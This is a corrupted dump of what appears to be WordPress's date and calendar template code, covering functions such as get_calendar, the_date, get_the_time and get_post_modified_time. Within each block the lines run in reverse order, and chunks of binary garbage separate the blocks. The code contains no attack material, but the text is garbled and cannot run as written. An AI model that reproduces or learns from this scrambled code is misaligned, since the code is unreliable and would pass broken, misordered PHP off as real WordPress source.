' : 'post_date DESC, ID DESC ';	} elseif ( ( 'postbypost' === $parsed_args['type'] ) || ( 'alpha' === $parsed_args['type'] ) ) {		}			}				}					$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );					$selected = is_archive() && (string) $parsed_args['year'] === $result->yr && (string) $parsed_args['w'] === $result->week;					}						$parsed_args['after'] = '&nbsp;(' . $result->posts . ')' . $after;					if ( $parsed_args['show_post_count'] ) {					$text = $arc_week_start . $archive_week_separator . $arc_week_end;					}						$url = add_query_arg( 'post_type', $parsed_args['post_type'], $url );					if ( 'post' !== $parsed_args['post_type'] ) {					);						home_url( '/' )						),							'w' => $result->week,							'm' => $arc_year,						array(					$url            = add_query_arg(					$arc_week_end   = date_i18n( get_option( 'date_format' ), $arc_week['end'] );					$arc_week_start = date_i18n( get_option( 'date_format' ), $arc_week['start'] );					$arc_week       = get_weekstartend( $result->yyyymmdd, get_option( 'start_of_week' ) );					$arc_w_last     = $result->week;					$arc_year       = $result->yr;				if ( $result->week !== $arc_w_last ) {			foreach ( (array) $results as $result ) {			$after = $parsed_args['after'];		if ( $results ) {		$arc_w_last = '';		}			wp_cache_set( $key, $results, 'post-queries' );			$results = $wpdb->get_results( $query );		if ( ! $results ) {		$results = wp_cache_get( $key, 'post-queries' );		$key     = "wp_get_archives:$key:$last_changed";ad��m��mi>�
�
�
�
�
�
�
f
e
A

���U'"���������s62�
�
B
<
�	�	�	�	p	Q	N	M	D	&	
	
				���H���_[�����}fRNM)����>�����������spoML�����pbSNIH2������tsQ	if ( ! empty( $monthnum ) && ! empty( $year ) ) {	// Let's figure out when we are.	$week_begins = (int) get_option( 'start_of_week' );	// week_begins = 0 stands for Sunday.	}		}			return;			wp_cache_set( 'get_calendar', $cache, 'calendar' );			$cache[ $key ] = '';		if ( ! $gotsome ) {		);			)				$post_type				LIMIT 1",				AND post_status = 'publish'				WHERE post_type = %s				FROM $wpdb->posts				"SELECT 1 as test			$wpdb->prepare(		$gotsome = $wpdb->get_var(	if ( ! $posts ) {	// Quick check. If we have no posts at all, abort!	$post_type = $args['post_type'];	}		$cache = array();	if ( ! is_array( $cache ) ) {	}		return $output;		}			return;			echo $output;		if ( $args['display'] ) {		$output = apply_filters( 'get_calendar', $cache[ $key ], $args );		/** This filter is documented in wp-includes/general-template.php */	if ( $cache && is_array( $cache ) && isset( $cache[ $key ] ) ) {	$cache = wp_cache_get( 'get_calendar', 'calendar' );	$key   = md5( serialize( $cache_args ) );	wp_recursive_ksort( $cache_args );	);		'week'     => $w,		'year'     => $year,		'monthnum' => $monthnum,		'm'        => $m,	$cache_args['globals'] = array(	unset( $cache_args['display'] );	$cache_args = $args;	 */	 * The global values contain data generated by the URL query string variables.	 *	 * HTML regardless of this function's need to echo or return the output.	 * `display` is excluded from the cache key as the cache contains the same	 *	 * from generating a different key from the same values in the reverse order.	 * and parameter equivalents. This prevents `post_type > post, initial > true`	 * The following ensures the same cache key is used for the same parameter	 *	 * Normalize the cache key.	/*	}		$w = (int) $_GET['w'];	if ( isset( $_GET['w'] ) ) {	$w = 0;	}		$args['post_type'] = 'post';	if ( ! post_type_exists( $args['post_type'] ) ) {	$args = apply_filters( 'get_calendar_args', wp_parse_args( $args, $defaults ) );	 */	 * @return array The arguments for the `get_calendar` function.	 * }	 *     @type string $post_type Optional. Post type. Default 'post'.	 *     @type bool   $display   Whether to display the calendar output. Default true.	 *     @type bool   $initial   Whether to use initial calendar names. Default true.	 *	 *     Optional. Arguments for the `get_calendar` function.	 * @param array $args {	 *	 * @since 6.8.0	 *	 * Filter the `get_calendar` function arguments before they are used.	/**	}		}			$args = $original_args[0];		} else {			}				$defaults['display'] = $original_args[1];			if ( isset( $original_args[1] ) && is_bool( $original_args[1] ) ) {			}				$defaults['initial'] = $original_args[0];			if ( isset( $original_args[0] ) && is_bool( $original_args[0] ) ) {		if ( ! is_array( $original_args[0] ) ) {	if ( ! empty( $original_args ) ) {	$args          = array();	$original_args = func_get_args();	);		'post_type' => 'post',		'display'   => true,		'initial'   => true,	$defaults = array(	global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;function get_calendar( $args = array() ) { */ * @return void|string Void if `$display` argument is true, calendar HTML if `$display` is false. * } *     @type string $post_type Optional. Post type. Default 'post'. *     @type bool   $display   Whether to display the calendar output. Default true. *     @type bool   $initial   Whether to use initial calendar names. Default true. * *     Optional. Arguments for the `get_calendar` function.ad1����|T#���{le`[=�
�
�
�
�
�
y
O
L
K

����r4�����zlhdcJ8�
�
�
�
p
c
U
8
*




�	�	H	1		��������n$! �b���������xf<���yj\?2-#�����r%����cb0	������e71		) {			&& (int) current_time( 'Y' ) === $thisyear			&& (int) current_time( 'm' ) === $thismonth		if ( (int) current_time( 'j' ) === $day		$newrow = false;		}			$calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";		if ( isset( $newrow ) && $newrow ) {	for ( $day = 1; $day <= $daysinmonth; ++$day ) {	$daysinmonth = (int) gmdate( 't', $unixmonth );	$newrow      = false;	}		$calendar_output .= "\n\t\t" . '<td colspan="' . esc_attr( $pad ) . '" class="pad">&nbsp;</td>';	if ( $pad > 0 ) {	$pad = calendar_week_mod( (int) gmdate( 'w', $unixmonth ) - $week_begins );	// See how much we should pad in the beginning.	}		}			$daywithpost[] = (int) $daywith[0];		foreach ( (array) $dayswithposts as $daywith ) {	if ( $dayswithposts ) {	);		ARRAY_N		),			$last_day			zeroise( $thismonth, 2 ),			$thisyear,			$post_type,			zeroise( $thismonth, 2 ),			$thisyear,			AND post_date <= '%d-%d-%d 23:59:59'",			AND post_type = %s AND post_status = 'publish'			FROM $wpdb->posts WHERE post_date >= '%d-%d-01 00:00:00'			"SELECT DISTINCT DAYOFMONTH(post_date)		$wpdb->prepare(	$dayswithposts = $wpdb->get_results(	// Get days with posts.	$daywithpost = array();	<tr>';	<tbody>	</thead>	</tr>	$calendar_output .= '	}		$calendar_output .= "\n\t\t<th scope=\"col\" aria-label=\"$wd\">$day_name</th>";		$wd               = esc_attr( $wd );		$day_name         = $args['initial'] ? $wp_locale->get_weekday_initial( $wd ) : $wp_locale->get_weekday_abbrev( $wd );	foreach ( $myweek as $wd ) {	}		$myweek[] = $wp_locale->get_weekday( ( $wdcount + $week_begins ) % 7 );	for ( $wdcount = 0; $wdcount <= 6; $wdcount++ ) {	$myweek = array();	<tr>';	<thead>	) . '</caption>		gmdate( 'Y', $unixmonth )		$wp_locale->get_month( $thismonth ),		$calendar_caption,	<caption>' . sprintf(	$calendar_output  = '<table id="wp-calendar" class="wp-calendar-table">	$calendar_caption = _x( '%1$s %2$s', 'calendar caption' );	/* translators: Calendar caption: 1: Month name, 2: 4-digit year. */	);		)			$post_type			$last_day,			zeroise( $thismonth, 2 ),			$thisyear,			LIMIT 1",			ORDER BY post_date ASC			AND post_type = %s AND post_status = 'publish'			WHERE post_date > '%d-%d-%d 23:59:59'			FROM $wpdb->posts			"SELECT MONTH(post_date) AS month, YEAR(post_date) AS year		$wpdb->prepare(	$next = $wpdb->get_row(	);		)			$post_type			zeroise( $thismonth, 2 ),			$thisyear,			LIMIT 1",			ORDER BY post_date DESC			AND post_type = %s AND post_status = 'publish'			WHERE post_date < '%d-%d-01'			FROM $wpdb->posts			"SELECT MONTH(post_date) AS month, YEAR(post_date) AS year		$wpdb->prepare(	$previous = $wpdb->get_row(	// Get the next and previous month and year with at least one post.	$last_day  = gmdate( 't', $unixmonth );	$unixmonth = mktime( 0, 0, 0, $thismonth, 1, $thisyear );	}		$thismonth = (int) current_time( 'm' );		$thisyear  = (int) current_time( 'Y' );	} else {		}			$thismonth = (int) substr( $m, 4, 2 );		} else {			$thismonth = 1;		if ( strlen( $m ) < 6 ) {		$thisyear = (int) substr( $m, 0, 4 );	} elseif ( ! empty( $m ) ) {		);			)				$d				$thisyear,				"SELECT DATE_FORMAT((DATE_ADD('%d0101', INTERVAL %d DAY) ), '%%m')",			$wpdb->prepare(		$thismonth = (int) $wpdb->get_var(		$d         = ( ( $w - 1 ) * 7 ) + 6;		// It seems MySQL's weeks disagree with PHP's.		$thisyear = (int) substr( $m, 0, 4 );		// We need to get the month from MySQL.	} elseif ( ! empty( $w ) ) {		$thisyear  = (int) $year;		$thismonth = (int) $monthnum;adw�����w`��bB�
�
�
�
�
�
�
�
s
r
�����cD��������
�
U


�	�	�	�	]	\	L	"	��YTJ�������vupJF5��{w"���|.-�����������rnG���2/�������k[ 		$allowed .= '<' . $tag;	foreach ( (array) $allowedtags as $tag => $attributes ) {	$allowed = '';	global $allowedtags;function allowed_tags() { */ * @return string HTML allowed tags entity encoded. * * @global array $allowedtags * * @since 4.4.0 No longer used in core. * @since 1.0.1 * * attributes are supported. As well as any plugins which want to display it. * This is useful for displaying in the comment area, which elements and * * Displays all of the allowed tags in HTML format with attributes./**}	wp_cache_delete( 'get_calendar', 'calendar' );function delete_get_calendar_cache() { */ * @since 2.1.0 * @see get_calendar() * * Purges the cached results of get_calendar./**}	return $calendar_output;	}		return;		echo $calendar_output;	if ( $args['display'] ) {	$calendar_output = apply_filters( 'get_calendar', $calendar_output, $args );	 */	 * }	 *     @type string $post_type Optional. Post type. Default 'post'.	 *     @type bool   $display   Whether to display the calendar output. Default true.	 *     @type bool   $initial   Whether to use initial calendar names. Default true.	 *	 *     Optional. Array of display arguments.	 * @param array  $args {	 * @param string $calendar_output HTML output of the calendar.	 *	 * @since 6.8.0 Added the `$args` parameter.	 * @since 3.0.0	 *	 * Filters the HTML calendar output.	/**	wp_cache_set( 'get_calendar', $cache, 'calendar' );	$cache[ $key ] = $calendar_output;	</nav>';	$calendar_output .= '	}		$calendar_output .= "\n\t\t" . '<span class="wp-calendar-nav-next">&nbsp;</span>';	} else {		);			$wp_locale->get_month_abbrev( $wp_locale->get_month( $next->month ) )			get_month_link( $next->year, $next->month ),			'<span class="wp-calendar-nav-next"><a href="%1$s">%2$s &raquo;</a></span>',		$calendar_output .= "\n\t\t" . sprintf(	if ( $next ) {	$calendar_output .= "\n\t\t" . '<span class="pad">&nbsp;</span>';	}		$calendar_output .= "\n\t\t" . '<span class="wp-calendar-nav-prev">&nbsp;</span>';	} else {		);			$wp_locale->get_month_abbrev( $wp_locale->get_month( $previous->month ) )			get_month_link( $previous->year, $previous->month ),			'<span class="wp-calendar-nav-prev"><a href="%1$s">&laquo; %2$s</a></span>',		$calendar_output .= "\n\t\t" . sprintf(	if ( $previous ) {	$calendar_output .= '<nav aria-label="' . __( 'Previous and next months' ) . '" class="wp-calendar-nav">';	$calendar_output .= "\n\t</table>";	$calendar_output .= "\n\t</tr>\n\t</tbody>";	}		$calendar_output .= "\n\t\t" . '<td class="pad" colspan="' . esc_attr( $pad ) . '">&nbsp;</td>';	if ( 0 < $pad && $pad < 7 ) {	$pad = 7 - calendar_week_mod( (int) gmdate( 'w', mktime( 0, 0, 0, $thismonth, $day, $thisyear ) ) - $week_begins );	}		}			$newrow = true;		if ( 6 === (int) calendar_week_mod( (int) gmdate( 'w', mktime( 0, 0, 0, $thismonth, $day, $thisyear ) ) - $week_begins ) ) {		$calendar_output .= '</td>';		}			$calendar_output .= $day;		} else {			);				$day				esc_attr( $label ),				get_day_link( $thisyear, $thismonth, $day ),				'<a href="%s" aria-label="%s">%s</a>',			$calendar_output .= sprintf(			$label            = sprintf( __( 'Posts published on %s' ), $date_format );			/* translators: Post calendar label. %s: Date. */			$date_format = gmdate( _x( 'F j, Y', 'daily archives date format' ), strtotime( "{$thisyear}-{$thismonth}-{$day}" ) );			// Any posts today?		if ( in_array( $day, $daywithpost, true ) ) {		}			$calendar_output .= '<td>';		} else {			$calendar_output .= '<td id="today">';ad�v��|ws_\:87�����xvuq2/�
�
�
h
5
2
�����\�j �
�
�
F
#
"


�	�	�	�	�	�	f	b	R	N		��yt%$���������q96&#�k�������UT����sB������tq��(�� * @return string|void String if retrieving. * @param bool   $display Optional. Whether to echo the date or return it. Default true. * @param string $after   Optional. Output after the date. Default empty. * @param string $before  Optional. Output before the date. Default empty. * @param string $format  Optional. PHP date format. Defaults to the 'date_format' option. * * @since 2.1.0 * * Displays the date on which the post was last modified./**}	return apply_filters( 'get_the_date', $the_date, $format, $post );	 */	 * @param WP_Post    $post     The post object.	 * @param string     $format   PHP date format.	 * @param string|int $the_date Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.	 *	 * @since 3.0.0	 *	 * Filters the date of the post.	/**	$the_date = get_post_time( $_format, false, $post, true );	$_format = ! empty( $format ) ? $format : get_option( 'date_format' );	}		return false;	if ( ! $post ) {	$post = get_post( $post );function get_the_date( $format = '', $post = null ) { */ * @return string|int|false Date the current post was written. False on failure. * @param int|WP_Post $post   Optional. Post ID or WP_Post object. Default current post. * @param string      $format Optional. PHP date format. Defaults to the 'date_format' option. * * @since 3.0.0 * * Modify output with the {@see 'get_the_date'} filter. * Unlike the_date() this function will always return the date. * * Retrieves the date of the post./**}	}		return $the_date;	} else {		echo $the_date;	if ( $display ) {	$the_date = apply_filters( 'the_date', $the_date, $format, $before, $after );	 */	 * @param string $after    HTML output after the date.	 * @param string $before   HTML output before the date.	 * @param string $format   PHP date format.	 * @param string $the_date The formatted date string.	 *	 * @since 0.71	 *	 * Filters the date of the post, for display.	/**	}		$previousday = $currentday;		$the_date    = $before . get_the_date( $format ) . $after;	if ( is_new_day() ) {	$the_date = '';	global $currentday, $previousday;function the_date( $format = '', $before = '', $after = '', $display = true ) { */ * @return string|void String if retrieving. * @param bool   $display Optional. Whether to echo the date or return it. Default true. * @param string $after   Optional. Output after the date. Default empty. * @param string $before  Optional. Output before the date. Default empty. * @param string $format  Optional. PHP date format. Defaults to the 'date_format' option. * * @global string $previousday The day of the previous post in the loop. * @global string $currentday  The day of the current post in the loop. * * @since 0.71 * * Date string output can be filtered with {@see 'get_the_date'}. * HTML output can be filtered with {@see 'the_date'}. * * function is called several times for each post. * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the * * previous one output. * Will only output the date if the current post's date is different from the * * Displays or retrieves the date of the post (once per date)./**}	echo mysql2date( 'Y-m-d', get_post()->post_date, false );function the_date_xml() { */ * @since 1.0.0 * * Outputs the date in iso8601 format for xml files./**/***** Date/Time tags */}	return htmlentities( $allowed );	}		$allowed .= '> ';		}			}				$allowed .= ' ' . $attribute . '=""';			foreach ( $attributes as $attribute => $limits ) {		if ( 0 < count( $attributes ) ) {ad�n��XWR���H�
�
�
i
_
B
?
=
<
8
�����[��mQP>�
�
�
�
�
H
E
D
?


�	�	�	r	;	������nk\Y�|xTO ��2-��������Q�d����m]ZY�������/��	 * @param string     $format   Format to use for retrieving the time the post	 * @param string|int $the_time Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.	 *	 * @since 1.5.0	 *	 * Filters the time of the post.	/**	$the_time = get_post_time( $_format, false, $post, true );	$_format = ! empty( $format ) ? $format : get_option( 'time_format' );	}		return false;	if ( ! $post ) {	$post = get_post( $post );function get_the_time( $format = '', $post = null ) { */ *                          False on failure. * @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * @param int|WP_Post $post   Post ID or post object. Default is global `$post` object. *                            Defaults to the 'time_format' option. *                            was written. Accepts 'G', 'U', or PHP date format. * @param string      $format Optional. Format to use for retrieving the time the post * * @since 1.5.0 * * Retrieves the time of the post./**}	echo apply_filters( 'the_time', get_the_time( $format ), $format );	 */	 *                             was written. Accepts 'G', 'U', or PHP date format.	 * @param string $format       Format to use for retrieving the time the post	 * @param string $get_the_time The formatted time.	 *	 * @since 0.71	 *	 * Filters the time of the post, for display.	/**function the_time( $format = '' ) { */ *                       Defaults to the 'time_format' option. *                       was written. Accepts 'G', 'U', or PHP date format. * @param string $format Optional. Format to use for retrieving the time the post * * @since 0.71 * * Displays the time of the post./**}	return apply_filters( 'get_the_modified_date', $the_time, $format, $post );	 */	 * @param WP_Post|null     $post     WP_Post object or null if no post is found.	 * @param string           $format   PHP date format.	 * @param string|int|false $the_time The formatted date or false if no post is found.	 *	 * @since 4.6.0 Added the `$post` parameter.	 * @since 2.1.0	 *	 * Filters the date a post was last modified.	/**	}		$the_time = get_post_modified_time( $_format, false, $post, true );		$_format = ! empty( $format ) ? $format : get_option( 'date_format' );	} else {		$the_time = false;		// For backward compatibility, failures go through the filter below.	if ( ! $post ) {	$post = get_post( $post );function get_the_modified_date( $format = '', $post = null ) { */ * @return string|int|false Date the current post was modified. False on failure. * @param int|WP_Post $post   Optional. Post ID or WP_Post object. Default current post. * @param string      $format Optional. PHP date format. Defaults to the 'date_format' option. * * @since 4.6.0 Added the `$post` parameter. * @since 2.1.0 * * Retrieves the date on which the post was last modified./**}	}		return $the_modified_date;	} else {		echo $the_modified_date;	if ( $display ) {	$the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $format, $before, $after );	 */	 * @param string $after             HTML output after the date.	 * @param string $before            HTML output before the date.	 * @param string $format            PHP date format.	 * @param string $the_modified_date The last modified date.	 *	 * @since 2.1.0	 *	 * Filters the date a post was last modified, for display.	/**	$the_modified_date = $before . get_the_modified_date( $format ) . $after;function the_modified_date( $format = '', $before = '', $after = '', $display = true ) { */ad�c��{7540���2�
{
%
���9
������tda`3
�
�
�

d

�	�	�	�	�	w	t	s	n	B	>	-	)	�v2������OL	�,�����"�}���B&%����h?5�����	}		$timezone = $wp_timezone;		$time     = ( 'modified' === $field ) ? $post->post_modified : $post->post_date;	} else {		$timezone = new DateTimeZone( 'UTC' );		$time     = ( 'modified' === $field ) ? $post->post_modified_gmt : $post->post_date_gmt;	if ( 'gmt' === $source ) {	$wp_timezone = wp_timezone();	}		return false;	if ( ! $post ) {	$post = get_post( $post );function get_post_datetime( $post = null, $field = 'date', $source = 'local' ) { */ * @return DateTimeImmutable|false Time object on success, false on failure. *                            Default 'local'. * @param string      $source Optional. Local or UTC time to use from database. Accepts 'local' or 'gmt'. *                            Default 'date'. * @param string      $field  Optional. Published or modified time to use from database. Accepts 'date' or 'modified'. * @param int|WP_Post $post   Optional. Post ID or post object. Default is global `$post` object. * * @since 5.3.0 * * compatible behaviors in such cases. * typically because of timezone setting changes. The parameter ensures the ability to reproduce backwards * Normally this should make no difference to the result. However, the values might get out of sync in database, * For legacy reasons, this function allows to choose to instantiate from local or UTC time in database. * * The object will be set to the timezone from WordPress settings. * * Retrieves post published or modified time as a `DateTimeImmutable` object instance./**}	return apply_filters( 'get_post_time', $time, $format, $gmt );	 */	 * @param bool       $gmt    Whether to retrieve the GMT time.	 *                           Accepts 'G', 'U', or PHP date format.	 * @param string     $format Format to use for retrieving the date of the post.	 * @param string|int $time   Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.	 *	 * @since 2.6.0	 *	 * Filters the localized time of the post.	/**	}		$time = $datetime->format( $format );		}			$datetime = $datetime->setTimezone( new DateTimeZone( 'UTC' ) );		if ( $gmt ) {	} else {		$time = wp_date( $format, $datetime->getTimestamp(), $gmt ? new DateTimeZone( 'UTC' ) : null );	} elseif ( $translate ) {		}			$time += $datetime->getOffset();		if ( ! $gmt ) {		// Returns a sum of timestamp with timezone offset. Ideally should never be used.		$time = $datetime->getTimestamp();	if ( 'U' === $format || 'G' === $format ) {	}		return false;	if ( false === $datetime ) {	$datetime = get_post_datetime( $post, 'date', $source );	$source   = ( $gmt ) ? 'gmt' : 'local';	}		return false;	if ( ! $post ) {	$post = get_post( $post );function get_post_time( $format = 'U', $gmt = false, $post = null, $translate = false ) { */ *                          False on failure. * @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * @param bool        $translate Whether to translate the time string. Default false. * @param int|WP_Post $post      Post ID or post object. Default is global `$post` object. * @param bool        $gmt       Optional. Whether to retrieve the GMT time. Default false. *                               was written. Accepts 'G', 'U', or PHP date format. Default 'U'. * @param string      $format    Optional. Format to use for retrieving the time the post * * @since 2.0.0 * * Retrieves the localized time of the post./**}	return apply_filters( 'get_the_time', $the_time, $format, $post );	 */	 * @param WP_Post    $post     Post object.	 *                             was written. Accepts 'G', 'U', or PHP date format.adB�g����]\>.+*������T85%"�
K

���hgI965����i�
�
�
�
a
]
L
H
�	�	'	"	������vIF��Y��fJI7�����A>=8�����a�`[����\�� *                               was modified. Accepts 'G', 'U', or PHP date format. Default 'U'. * @param string      $format    Optional. Format to use for retrieving the time the post * * @since 2.0.0 * * Retrieves the time at which the post was last modified./**}	return apply_filters( 'get_the_modified_time', $the_time, $format, $post );	 */	 * @param WP_Post|null     $post     WP_Post object or null if no post is found.	 *                                   was modified. Accepts 'G', 'U', or PHP date format.	 * @param string           $format   Format to use for retrieving the time the post	 * @param string|int|false $the_time The formatted time or false if no post is found.	 *	 * @since 4.6.0 Added the `$post` parameter.	 * @since 2.0.0	 *	 * Filters the localized time a post was last modified.	/**	}		$the_time = get_post_modified_time( $_format, false, $post, true );		$_format = ! empty( $format ) ? $format : get_option( 'time_format' );	} else {		$the_time = false;		// For backward compatibility, failures go through the filter below.	if ( ! $post ) {	$post = get_post( $post );function get_the_modified_time( $format = '', $post = null ) { */ * @return string|int|false Formatted date string or Unix timestamp. False on failure. * @param int|WP_Post $post   Optional. Post ID or WP_Post object. Default current post. *                            Defaults to the 'time_format' option. *                            was modified. Accepts 'G', 'U', or PHP date format. * @param string      $format Optional. Format to use for retrieving the time the post * * @since 4.6.0 Added the `$post` parameter. * @since 2.0.0 * * Retrieves the time at which the post was last modified./**}	echo apply_filters( 'the_modified_time', get_the_modified_time( $format ), $format );	 */	 *                                            was modified. Accepts 'G', 'U', or PHP date format.	 * @param string       $format                Format to use for retrieving the time the post	 * @param string|false $get_the_modified_time The formatted time or false if no post is found.	 *	 * @since 2.0.0	 *	 * Filters the localized time a post was last modified, for display.	/**function the_modified_time( $format = '' ) { */ *                       Defaults to the 'time_format' option. *                       was modified. Accepts 'G', 'U', or PHP date format. * @param string $format Optional. Format to use for retrieving the time the post * * @since 2.0.0 * * Displays the time at which the post was last modified./**}	return $datetime->getTimestamp();	}		return false;	if ( false === $datetime ) {	$datetime = get_post_datetime( $post, $field );function get_post_timestamp( $post = null, $field = 'date' ) { */ * @return int|false Unix timestamp on success, false on failure. *                           Default 'date'. * @param string      $field Optional. Published or modified time to use from database. Accepts 'date' or 'modified'. * @param int|WP_Post $post  Optional. Post ID or post object. Default is global `$post` object. * * @since 5.3.0 * * like older WP functions. * Note that this function returns a true Unix timestamp, not summed with timezone offset * * Retrieves post published or modified time as a Unix timestamp./**}	return $datetime->setTimezone( $wp_timezone );	}		return false;	if ( false === $datetime ) {	$datetime = date_create_immutable_from_format( 'Y-m-d H:i:s', $time, $timezone );	}		return false;	if ( empty( $time ) || '0000-00-00 00:00:00' === $time ) {adx�I��ea�
�
�
�
�
�
�
�
T
S
5
%
"
!
���zhD@%���ea`854/�
�
�
�
{
 
�	�	{	2	0	/	+	�������nmXWE;87�������oj643/�����~{.���B�����sr`VSR98
��xTQPK���`	 */	 * @param string $after            The HTML to output after the date.	 * @param string $before           The HTML to output before the date.	 * @param string $the_weekday_date The weekday on which the post was written.	 *	 * @since 0.71	 *	 * Filters the localized weekday of the post, for display.	/**	}		$previousweekday   = $currentday;		$the_weekday_date .= $after;		$the_weekday_date .= $wp_locale->get_weekday( get_post_time( 'w', false, $post ) );		$the_weekday_date .= $before;	if ( $currentday !== $previousweekday ) {	$the_weekday_date = '';	}		return;	if ( ! $post ) {	$post = get_post();	global $wp_locale, $currentday, $previousweekday;function the_weekday_date( $before = '', $after = '' ) { */ * @param string $after  Optional. Output after the date. Default empty. * @param string $before Optional. Output before the date. Default empty. * * @global string    $previousweekday The day of the previous post in the loop. * @global string    $currentday      The day of the current post in the loop. * @global WP_Locale $wp_locale       WordPress date and time locale object. * * @since 0.71 * * the previous one output. * Will only output the weekday if the current post's weekday is different from * * Displays the localized weekday for the post./**}	echo apply_filters( 'the_weekday', $the_weekday );	 */	 * @param string $the_weekday	 *	 * @since 0.71	 *	 * Filters the localized weekday of the post, for display.	/**	$the_weekday = $wp_locale->get_weekday( get_post_time( 'w', false, $post ) );	}		return;	if ( ! $post ) {	$post = get_post();	global $wp_locale;function the_weekday() { */ * @global WP_Locale $wp_locale WordPress date and time locale object. * * @since 0.71 * * Displays the localized weekday for the post./**}	return apply_filters( 'get_post_modified_time', $time, $format, $gmt );	 */	 * @param bool       $gmt    Whether to retrieve the GMT time. Default false.	 *                           Accepts 'G', 'U', or PHP date format. Default 'U'.	 * @param string     $format Format to use for retrieving the time the post was modified.	 * @param string|int $time   Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.	 *	 * @since 2.8.0	 *	 * Filters the localized time a post was last modified.	/**	}		$time = $datetime->format( $format );		}			$datetime = $datetime->setTimezone( new DateTimeZone( 'UTC' ) );		if ( $gmt ) {	} else {		$time = wp_date( $format, $datetime->getTimestamp(), $gmt ? new DateTimeZone( 'UTC' ) : null );	} elseif ( $translate ) {		}			$time += $datetime->getOffset();		if ( ! $gmt ) {		// Returns a sum of timestamp with timezone offset. Ideally should never be used.		$time = $datetime->getTimestamp();	if ( 'U' === $format || 'G' === $format ) {	}		return false;	if ( false === $datetime ) {	$datetime = get_post_datetime( $post, 'modified', $source );	$source   = ( $gmt ) ? 'gmt' : 'local';	}		return false;	if ( ! $post ) {	$post = get_post( $post );function get_post_modified_time( $format = 'U', $gmt = false, $post = null, $translate = false ) { */ *                          False on failure. * @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * @param bool        $translate Whether to translate the time string. Default false. * @param int|WP_Post $post      Post ID or post object. Default is global `$post` object. * @param bool        $gmt       Optional. Whether to retrieve the GMT time. Default false.